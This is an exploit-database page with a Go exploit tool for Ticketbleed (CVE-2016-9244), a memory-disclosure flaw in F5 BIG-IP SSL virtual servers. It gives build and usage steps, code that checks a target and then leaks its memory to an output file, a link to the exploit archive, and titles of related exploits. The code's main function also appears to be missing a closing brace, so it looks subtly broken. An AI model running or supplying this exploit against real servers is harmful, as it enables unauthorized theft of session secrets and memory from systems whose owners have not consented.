F5 BIG-IP SSL Virtual Server – ‘Ticketbleed’ Memory Disclosure

/*

# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]

# Date: [10.02.2017]

# Exploit Author: [Ege BalcÄ±]

# Vendor Homepage: [https://f5.com/]

# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]

# Tested on: [Multiple]

# CVE : [CVE-2016-9244]

BUILD:

go get github.com/EgeBalci/Ticketbleed

go build Ticketbleed.go

USAGE:

./ticketbleed <options> <ip:port>

OPTIONS:

-o, --out Output filename for raw memory

-s, --size Size in bytes to read

-h, --help Print this message

*/

package main

import "github.com/EgeBalci/Ticketbleed"

import "strconv"

import "strings"

import "fmt"

import "os"

var OutputFile string = ""

var BleedSize int = 0

func main() {

ARGS := os.Args[1:]

if len(ARGS) < 1 || len(ARGS) > 5{

fmt.Println(Help)

os.Exit(1)

}

for i := 0; i < len(ARGS); i++{

if ARGS[i] == "-h" || ARGS[i] == "--help"{

fmt.Println(Help)

os.Exit(1)

}

if ARGS[i] == "-o" || ARGS[i] == "--out"{

OutputFile = ARGS[i+1]

}

if ARGS[i] == "-s" || ARGS[i] == "--size"{

Size,err := strconv.Atoi(ARGS[i+1])

if err != nil {

fmt.Println("[-] ERROR: Invalid size value !")

os.Exit(1)

}

if Size < 0 {

fmt.Println("[-] ERROR: Size can't be smaller than 0")

os.Exit(1)

}else{

BleedSize = Size

}

if OutputFile != "" {

File, FileErr := os.Create(OutputFile)

if FileErr != nil {

fmt.Println("[-] ERROR: While creating output file !")

os.Exit(1)

}

File.Close()

fmt.Println("[*] Output file: "+OutputFile)

}

VulnStatus := Ticketbleed.Check(ARGS[0]) // First check if it's vulnerable

fmt.Println(VulnStatus)

if strings.Contains(VulnStatus, "[+]") {

go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // With using multiple threads it is easyer to move on stack

Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // Othervise server echoes back alot of duplicate value

}

var Help string = `

â–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–ˆâ–ˆâ–“ â–„â–ˆâ–ˆâ–ˆâ–ˆâ–„ â–ˆâ–ˆ â–„â–ˆâ–€â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„â–„â–„â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“ â–„â–„â–„â–„ â–ˆâ–ˆâ–“ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„

â–“ â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–’â–’â–ˆâ–ˆâ–€ â–€â–ˆ â–ˆâ–ˆâ–„â–ˆâ–’ â–“â–ˆ â–€â–“ â–ˆâ–ˆâ–’ â–“â–’â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–„ â–“â–ˆâ–ˆâ–’ â–“â–ˆ â–€ â–“â–ˆ â–€ â–’â–ˆâ–ˆâ–€ â–ˆâ–ˆâ–Œ

â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’â–’â–“â–ˆ â–„ â–“â–ˆâ–ˆâ–ˆâ–„â–‘ â–’â–ˆâ–ˆâ–ˆ â–’ â–“â–ˆâ–ˆâ–‘ â–’â–‘â–’â–ˆâ–ˆâ–’ â–„â–ˆâ–ˆâ–’â–ˆâ–ˆâ–‘ â–’â–ˆâ–ˆâ–ˆ â–’â–ˆâ–ˆâ–ˆ â–‘â–ˆâ–ˆ â–ˆâ–Œ

â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–‘â–ˆâ–ˆâ–‘â–’â–“â–“â–„ â–„â–ˆâ–ˆâ–’â–“â–ˆâ–ˆ â–ˆâ–„ â–’â–“â–ˆ â–„â–‘ â–“â–ˆâ–ˆâ–“ â–‘ â–’â–ˆâ–ˆâ–‘â–ˆâ–€ â–’â–ˆâ–ˆâ–‘ â–’â–“â–ˆ â–„ â–’â–“â–ˆ â–„ â–‘â–“â–ˆâ–„ â–Œ

â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–ˆâ–ˆâ–‘â–’ â–“â–ˆâ–ˆâ–ˆâ–€ â–‘â–’â–ˆâ–ˆâ–’ â–ˆâ–„â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’ â–’â–ˆâ–ˆâ–’ â–‘ â–‘â–“â–ˆ â–€â–ˆâ–“â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–’â–‘â–’â–ˆâ–ˆâ–ˆâ–ˆâ–“

â–’ â–‘â–‘ â–‘â–“ â–‘ â–‘â–’ â–’ â–‘â–’ â–’â–’ â–“â–’â–‘â–‘ â–’â–‘ â–‘ â–’ â–‘â–‘ â–‘â–’â–“â–ˆâ–ˆâ–ˆâ–€â–’â–‘ â–’â–‘â–“ â–‘â–‘â–‘ â–’â–‘ â–‘â–‘â–‘ â–’â–‘ â–‘ â–’â–’â–“ â–’

â–‘ â–’ â–‘ â–‘ â–’ â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘ â–‘ â–‘ â–’â–‘â–’ â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–’ â–’

â–‘ â–’ â–‘â–‘ â–‘ â–‘â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘

â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘

â–‘ â–‘ â–‘

Author: Ege Balci

Github: github.com/EgeBalci

USAGE:

./ticketbleed <ip:port> <options>

OPTIONS:

-o, --out Output filename for raw memory

-s, --size Size in bytes to read

-h, --help Print this message

`

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41298.zip

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow